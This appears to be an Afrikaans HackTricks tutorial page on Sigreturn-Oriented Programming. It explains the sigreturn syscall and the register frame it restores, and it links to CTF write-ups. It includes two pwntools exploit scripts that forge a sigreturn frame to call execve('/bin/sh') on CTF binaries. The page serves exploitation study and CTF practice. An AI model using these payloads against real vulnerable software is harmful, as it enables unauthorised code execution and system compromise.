SROP - Sigreturn-Oriented Programming
Reading time: 6 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Sigreturn
is 'n spesiale syscall wat hoofsaaklik gebruik word om op te ruim nadat 'n seinhandler sy uitvoering voltooi het. Seine is onderbrekings wat na 'n program deur die bedryfstelsel gestuur word, dikwels om aan te dui dat 'n uitsonderlike situasie plaasgevind het. Wanneer 'n program 'n sein ontvang, pauzeer dit tydelik sy huidige werk om die sein met 'n seinhandler te hanteer, 'n spesiale funksie wat ontwerp is om met seine te werk.
Nadat die seinhandler klaar is, moet die program sy vorige toestand hervat asof niks gebeur het nie. Dit is waar sigreturn
in die spel kom. Dit help die program om terug te keer van die seinhandler en herstel die program se toestand deur die stapelraam (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhandler gebruik is, op te ruim.
Die interessante deel is hoe sigreturn
die program se toestand herstel: dit doen dit deur alle CPU se registerwaardes op die stapel te stoor. Wanneer die sein nie meer geblokkeer is nie, pop sigreturn
hierdie waardes van die stapel af, wat effektief die CPU se registre na hul toestand voor die sein hanteer is, reset. Dit sluit die stapelpunt-register (RSP) in, wat na die huidige bokant van die stapel wys.
caution
Om die syscall sigreturn
van 'n ROP-ketting te bel en die registratiewaardes wat ons wil hê dat dit in die stapel laai, by te voeg, is dit moontlik om alle registratiewaardes te beheer en dus te bel byvoorbeeld die syscall execve
met /bin/sh
.
Let op hoe dit 'n type Ret2syscall sou wees wat dit baie makliker maak om parameters te beheer om ander Ret2syscalls aan te roep:
As jy nuuskierig is, dit is die sigcontext-struktuur wat op die stapel gestoor word om later die waardes te herstel (diagram van hier):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Vir 'n beter verduideliking kyk ook:
Voorbeeld
Jy kan hier 'n voorbeeld vind waar die oproep na signeturn via ROP saamgestel word (die waarde 0xf
in rxa plaas), alhoewel dit die finale uitbuiting van daar is:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Kyk ook na die exploit van hier waar die binêre reeds sigreturn
aangeroep het en daarom is dit nie nodig om dit met 'n ROP te bou nie:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Ander Voorbeelde & Verwysings
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Assembly binêre wat toelaat om na die stapel te skryf en dan die
sigreturn
syscall aanroep. Dit is moontlik om op die stapel 'n ret2syscall via 'n sigreturn struktuur te skryf en die vlag te lees wat binne die geheue van die binêre is. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Assembly binêre wat toelaat om na die stapel te skryf en dan die
sigreturn
syscall aanroep. Dit is moontlik om op die stapel 'n ret2syscall via 'n sigreturn struktuur te skryf (die binêre het die string/bin/sh
). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 bits, geen relro, geen canary, nx, geen pie. Eenvoudige buffer overflow wat die
gets
funksie misbruik met 'n gebrek aan gadgets wat 'n ret2syscall uitvoer. Die ROP-ketting skryf/bin/sh
in die.bss
deur weergets
aan te roep, dit misbruik diealarm
funksie om eax op0xf
te stel om 'n SROP aan te roep en 'n shell uit te voer. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64 bits assembly program, geen relro, geen canary, nx, geen pie. Die vloei laat toe om in die stapel te skryf, verskeie registers te beheer, en 'n syscall aan te roep en dan roep dit
exit
aan. Die geselekteerde syscall is 'nsigreturn
wat registre sal stel eneip
sal beweeg om 'n vorige syscall instruksie aan te roep enmemprotect
uit te voer om die binêre ruimte oprwx
te stel en die ESP in die binêre ruimte te stel. Volg die vloei, die program sal weer lees in ESP aanroep, maar in hierdie geval sal ESP na die volgende instruksie wys, sodat 'n shellcode as die volgende instruksie geskryf en uitgevoer sal word. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP word gebruik om uitvoeringsregte (memprotect) te gee aan die plek waar 'n shellcode geplaas is.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.